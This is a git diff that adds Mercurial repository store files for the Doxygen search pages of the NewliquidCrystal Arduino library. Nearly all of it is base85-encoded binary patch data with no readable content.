z4c>K|&}lClS68dfb+3KZ>Tq`j-46fIf~ghgzj$ywIkTd*Vs;MUd((5wo22(l^AOBL zPf}FHudEL@Lf~CEPEDkIyD=RS)9x?^8{Xz4Q9q3GB`FpW5s}JbmistK6Tmm`6W?C+ x9(Bj$sg=k_3GC7AI9JCf5PW%4JGH+=*G=AWPPSPkxZP&OaO|NsC0|NsA367u6E^1MF9dAvyn zD$=^FRsHb*00000000000001ZoVAwUbJ{o%$KUxYRNYH5bN(R<1HKq$E|5-{Nz+V1 z=Xy^bSz2Q^#-_4>_`g5NI21Zb2j8?$h}G^&`}s=NhVN#dri*{?Z&0dMIlBLReLJ5b zY&p(9bm};>#SDG(eA{H(F`kx%f zwT;DuR$OLlb?p02y;%kNVzV|aa&}r)Fg>flr#B)|vWBmAV&z4|H7TFeM z!dT{ofae#}!S7Kqwb6SrKDQ+kS+T^Ec3|6f=xFaBV;-Q|w1)Et(jcv zBY~qelX?X_DayYObV7$UAgVPhj@IR+K4FvF=}fDtXAHs?`&sm3#-H+RnW{74lP>T{ zH~6Fjd~y!_OkYM3aamW2v$z-JoJ6uk7+QB{b1w|eJ_R)r!D|t zLF~V-f&ue;ZUf)Qs+4C!r(K}aZqR85=(Hnr;G-mAjKCn^LpA_H8FzUSb1xu15y7j_ zrwy6kLtSLmI%oBn*!x|u_q$>5cfj87h&|DVyf4^51fx;RJmC@U`GopRFyaw+^eXn* z9?dV|e*9WLHbph>^IQV6%mb50Xy_~Y`efGF8K1QcPjke z`$F3->!gEfftwDhX{bz_*!vHZzm%f@00003L;wH)00B7w00|BN00000003hE00030 z|Ns9!(bKOQGB|gxdpp7i17l{#C59FN00000000000001ZoR!kQPQx$|25=+#2Qlyr zky$`OX>Hd{A~hX=g@vJgfaq*rXw@`{oTR7|3y;V1FfouuT`F~`Z@o|7Nk1JS*PM{v z59y|VOUU4kkgJ~O&A?lmn7-AxWz;M34em|xna9*(-Pqi#5UgG;uxhfp^50?ifIH0V zC-!(umlmt)@_18Tl+_s=T9=FEeyfU%dMk@*OnraUZIUd}iSbwUHoFI*0x9)Gi6~Gq z3S}UeXOBu#Ra`f^9F*d0sqc>wGgC!TezHMab~G_2{2?a2F5m=D{62 zxT6Q^Fiim%P9q(_6qx`$)~V7wVv?EYtj9}ZtHK^ZhQEZ|{Iwv16A9$0ndXuS2?iKv$)m4*molT@tzN^000001bqMi0004-000V# z000000001k00001|NsC0pGFbhXhbC)!8AYJl6VX|@6ryz>-FEgyUBOh-{2ly_(E@w*{#Q6&-bS9 z+IQvtyXo^`tD2gmYmatGCX?wHDeF>~X0i_3`ZF-#oGO7-u#5{qsbZFD3)W%=BF{-0 zz`tNvlClNgpFmcw`TB;ln8N7Lwc!3cRyQq@)#Kg$Vmd?y!D&ypx;}P&4ca8R2z?zc zP83;;B8yXG5sEBQk*iEfEfg;@C5v2Uk}1qJpCM8xlsvCkS8g*3_7=aB#vehhek92!)q`A}fQT3n u5eFh7Ktv>n?O%p4FgHb>D`19E%_QX#3{XaA=fBx~)wMMoMv+&6FplAY(Mu!% literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6f.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6f.html.i new file mode 100644 index 0000000000000000000000000000000000000000..05f7415e6721a6ce3611ee75f2efe7dc15cbbc90 GIT binary patch literal 696 zcmV;p0!RG-0RRC20000000MXb00smA00000005W&|NsC0|Ns9*OltKPj=DrqkojVG z8`T$L$f?x;00000000000001ZoUK$*Z`v>re&<(s-V2o$yMaPsP4ZA+8WLqyNww_> znfM@SgOk|?ntwk#NhwV01kzrd%lZ4xzVCeJeHeZlgg@^`DAwx~-9O$=#sh>MO24-U zln%oo`tdcqn;@55qEIrS5}jm%rIe1Q7~xp!{4=Gy-HzqG1l z+p@}wk&@A#@uaZ1ceP`Pw9KdBEizu9C}m3dc=mA5R$x=+$rdHtdd7mo%d2aTn`x#u z=1vwf$rw+>3J0}82=S;v|H*j(wMjLu5l$gntc?o!)Gigr1ff2={tju5KOdK2+ zW#&Bvlflr`(Ck>{YLQRTTAV1gdydrZc~ZM)NbQ~}^|jmMtj)UZ9*0Gzzu<0k%{r}C z%PhR#V}Fxc{1>GUJ7HF4Q})8%e6Jf0dDHBU=_m%%q0e{ eG>$7?p_|62v>jr literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__70.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__70.html.i new file mode 100644 index 0000000000000000000000000000000000000000..8743f6d55553f64adcdd047f95c0a6b1a66308c9 GIT binary patch literal 711 zcmV;&0yzBu0RRC20000000M^q00tre00000000>O|NsC0|Ns9arX`WL+gfFpw;`*| z1`GEED#LXE00000000000001ZoUK$*Z`v>re&<)X-V2o$n~>0^Ym$djrXjVoDpcE^ zkmDGVHrSbMp!xT+la#`=PDR>NF6ZyN^L^*L@Z|b#IQw}&0-0VF;QsOIW;_JY!T7s3 z#Q1u44Ssx^-QEBf^}tLLu5z6VP6~`i69{0Yb@>J3?RJZ{9ujhiXAk(r#&RvWH66Xj zM5#_;+zIVT9A=E9aj0`$usFocw-c_ICcwsa*spcIiQrIh&A4`ERmmWr&0hpHd(lmf zOPUd>n2sK2U!4GA6Qs!bGmxx^pwd;rRK}QwK${3Hktzj2CfULu7?CtX)?=xP%DmM3 z*e9|fjTZtX>5lQFpt*N*Vu-k|rxPY3tpF{EQW2a!+><45F7NLoCl`Xg@$e1d71N-NNqN7h#PS&E9(X!slj8-Ry_y= ze`ZxGwmgE8>9ypbsjP{s(1dKdY-7~^+&gX2rDQhdN8#)8L)bSJs#PM2*Ulh>>yvrj zpVN6h7s$5z6B&5Ph2KB-S#p*nXTjjir;9<~_q@KBCP8p+I!)x#JP0^1i8M)IY_z#G z+Ju!>%DcxX?;fYTdxY}t@yho+-wlky zrUP`~Q{M~x#b9vZk>I?yNId^<${TV1qxAc8GOY`%CuL{8H!J(RiMS=2X3Wg*M1a$ tHWEaDvn`nJ`?~M|0#7eHhs|%$UE_D0gWc5%Zg*F`%It#f{08H-4AY9sV}k$y literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__72.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__72.html.i new file mode 100644 index 0000000000000000000000000000000000000000..a60444bba2ab18690954bb9a2c4aed88a1e2a9fb GIT binary patch literal 721 zcmV;?0xtak0RRC20000000NN!00tcZ00000000>O|NsC0|NsBdvVbK$Fxn^SBv4e! zTzW~TEI%j!00000000000001ZoRyTpa@sHuhVMLuqF%^ME!jYW)7U-)=!6+UGQpX) zCq`Hcc491777)LECEFp;X)@%5SpEM>`>j{r+3;=<{=OffSgliZ|9Cwa4-mE}{n;H* zIt+*C*G+gkK@PD|C|On{DiIk=DIHBQ!m(2McS?7=9ocn>kSiKK&=-@-G3I7zsRJkB zisPW=nVrCkf$_joiAo{xX#Lyr)}RMum*_j;8|ad)GVKNUM5U-a_yaMJX!^AI~1{*$Pa_JlUdzo5(oh@bVhk>t>3n zjlPr7Oa$Xew!%TPAcS~StN-;pK(R>`Zt~8hK40fW$D&cDWNE_4W0i8OU~OY0vS%o{ z*kwMJpf)l?by;=Nf=t=A4O@-+t9{<6a|tHrsq#&JlJ*Tjxn79$wJn6uYGu-uVQ1=LGVp2G1Mpk?r){ zuB}N%or}eiyBA&C1?Kj6N-t3^CA7oV0aSy!x5QPWmQA6U%odchrX$} zWh#n6kM2~UX8r2=aP$N3%(7ZsM4Pp)j_6WHDVXJTIp*#C%$}3##UVT?@|2Z6&O`?I z>V4zejo!0vnLKVI@=*pmG&_v7@sR|dU$u@~U#r_XZdpgqRs-BTTh%LO-saX{F_H~n DIyzbI literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6fe1c0f9eb41c9a776827238439db386a495d63e GIT binary patch literal 4425 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 L9aE6D^*a6^@H!Wz literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__77.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__77.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0c93bb9606321d302898854a98aa1e558a89124d GIT binary patch literal 1524 zcmV$D00000000>O|NsC0|Ns9nZnsRTv`Za5<|Q$W z3qC795jL0r00000000000001ZoRw8gbJ{Qvz4I$n^$?h;Klx4!hX9>2Lr5l&X?yZ0 z(t@2B+m!{x|GtuK0!~BfoDi$`R@(R0TIb97cC`F`H$k4*1nBPJdNv&)tQp47=EyL{ z%Q5=(V|g<}mTsaYCt>0XKMF};7?U|h*b^eYG>rXzukV|B#Mj31-gr^DEJZGsnmA$V zOfWpGIcjIR%Kgo36zG_P%2^e@jVob~GNhZwC^%T7>xLWn zvJIF^d720kxIG%jx^n$1=>VZE3tErR?y+vS*&)=VR-b`wx2egfG@S6Y>z4BEt2WIUR&|-I|H~9el~|#X&3b)GZRpsmu1!{t?UmIg-4*LucHcCi z`Hn`j(fF-G#rOE(=Xv_RF0vZ37xr~|?u|X=&7&J4s0Z@hpGT-zA6OsGjiK{J(`qcD z+l?$jmlaI{P|NFd%IdEVenZd3mCpPm4oEt{VH5(sI!`>_=p1!Nc-b>FKq2hW;xtyr zB?xX@)yh8S=(>z+T50ALf~%RAjX*WnYkvWwIMAK|000037ytkO00Bt=01D9n00000 z000~S00030|NsA-EXY+h|P0vkfKUuYGv+YKBF<;CVa6<^9(F_hAntVyWfBmJ7 zbN22y=e_d0Av9q~iU8kQSb7+x$qTGSx=I49!R9(a2AJk?2qst7xc97RLjj4s^g7$@ zOoK7?)AOuWE?2DT8imn%IZqWvv4*DrKeK`vu4QJ&ht&`1VxgejibA?#(&h$utAnRi z{8+}5E}J&W#|l~OThC&tgoXrHSBDam*TdMf*sWdL?yXnvOLg?O654#;)8RLR#| z3d;4`Sf=QRXPFz@rD`%C81ED4&tWhU!{L?BxW~!0fL?FFJ;5=uOfSF&m}ab$v3tRG zE)z?9YEd2m?~E^+#P@FQHlt>rliYI97W%s;IYE=0q)Cp~B*$n{YN-A{QyPU|SSQ`` z15X000000000l00001|NsC0h?+^GCjz?(A!b zocriyVvJ`o^!?W3fN<$zs#xKq_=z#I+hvtlj{E?Wd0-MqG af)vpID^eF2nz!c{Wvk-0HKSjT2W73eU&&$s literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/mag__sel.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/mag__sel.png.i new file mode 100644 index 0000000000000000000000000000000000000000..9d19a32842e2e4a0ba9a7e350aba9bdcd897cf71 GIT binary patch literal 628 zcmZQzWME_f111v&1}0+&n?d3~6a-XvI37A(7_md1@z0-0f^Jpq%yLjQV5+n;z|WnR zONtA~EaktaqG#H-CatKB5nI` ziCGEkV%D!<4ixmc;&8>>z|i0&`v*~x8aYFAW5ME=VJRo?5 z_4U`Tb+7Bsf0!9_eQNvR#@~Pa%x2fFee(bL?<#4A$Q8RXPWc~Q4vcUHPgg&ebxsLQ E0IEm{Q~&?~ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/nomatches.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/nomatches.html.i new file mode 100644 index 0000000000000000000000000000000000000000..8ece14f69a14d2385780c032cf3f3f6df211978c GIT binary patch literal 366 zcmZQzWME_f14cat2F9}xHiN`}D9CopT|RB&E4@BZX_KV6vKBrZ^RGhHfT@Z(z5%|$ zhYSSveh*)>bNj@Hk1}pGv%04-NNOyWOWrjpA=5BY<4?74l%(J8%HMWn%J1CrD?jd( zXkHe}+Wqx&$t31(%X;}|bNagkYxan3*5sK~t+8g!T*b>*Ha)7bNk3q6@!!PH+j1wD z%`hoD+^uTQy53RXd#;c9sU=G$rB39S?2|DiRqaGT>&yqSy+`;woj&w^{GQOKd3yG& z4a;^|yr0pz)Zt@QEgl=Oh9C3>l=pE~6k z%!!$$Ji|y~@~$J7?Mt4n^|*BKy@`EX*m7Lhv^sPuic+f F4gmNSrX2tP literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search.css.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search.css.i new file mode 100644 index 0000000000000000000000000000000000000000..dc356c6310d51921f38cd27cdb389895a3105cdb GIT binary patch literal 1126 zcmV-s1eyB)0RRC20000000brg01u}C00000000>O|NsC0|NsA;){aGcl{R$S-thvW zQ%r%^=%DHV00000000000001ZoV{0FZ{j)-edkwL>cf7BP(lkW=~I^lsShh%6>0C| zl}QX(b>hf23$)t*zWxN;3ADZU?uJ&Vlkxb>%$Z~N@^cbBV2&Wm*We4?fzOwn&c)0a z)ZZ^1AfF|nP-K9hrMT<-lpb6=5FEZ|c(s-e%2Hrn6S&X7g3$cQ*tWP3>kOnf{d#9C zYou0W;A*5SD)6^>>+Ko~l<*qn2xOq5TLx>hxTYKnOsfpQ1*c>q(47yaq7{m;;EG^p zEFoLrDiO5Kz^%i>44ebLCgSG=R|VQhTYu0%+*1YWyabzi`5yp>c-5jTjrJVGHA=_M zuz>l~iqTC~WE)04elWfGhxF=d_2HAuJ7K6sP{iKJVSn2v5B(ewlnd})=x4FY@VX$N zbrYTSwe!=6+8s?#h7mz#7?I-Lc;8yf($>-xGI7q76^La=Vwv>QbmYQWQt8}|RjFZ7 z;A)i|Q&!fT63Q}gG4896vC)lC4E4#oq?KgkxEA1^VMw~*J7NW_U>9&$@q{CWm!>k_ z)V5X0$Ck$B)a*4)cyCQje~$cB6ZN0T%-&AsqbS*2CWLYnrQsFylx%1vxNhPC{$fi3 z&tl4|HAAh|-*M-&&>D5QF(-Zkx?Nz@J}17Tm9ByFJT~?|7x)Ki<%Hv4Uq5=`<;mk= ziHSfAa6O!|faa_SM)q$hj&%F}+M6u9nw9(EWZK|@OJg>k-Onbm zP=`Ypw%J)1R0vvnFOrfzCk8>nV1YN>f4N1ACoJ518B&kcn;dnYUiCD1-WJvRz8ZL! z@HLd}$$*^x!!KJc;KzO!*q>fH{A37ZI{F|`=?;0VM7OUfQA6;6;iPZ3Tul!zT&w$* zz4ExPEC9)tZ;(BOB4z^|l2p)=B`h(KbSr5^^?f0jwuFm436xc!ok$9lQw9wu590`% z$+z8SPDYN#3Y^=nrCwlkwqOy!Y)SJC?}j#LX1;aG!T(W~Y)yYiF$g!9>F4BlUVRX2~!jMUY*7Hz~%(P8CZaD~9>2)9uHQv|p3f);xh!Ci- sGd817SU`ev7uZbuNj`ji_}(-3SQf~Me**`{3v+m;rS=T`1v1>ic}mAI0RR91 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search.js.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search.js.i new file mode 100644 index 0000000000000000000000000000000000000000..8184979ddc5a477582f7497554f6092914d0d1a9 GIT binary patch literal 5623 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 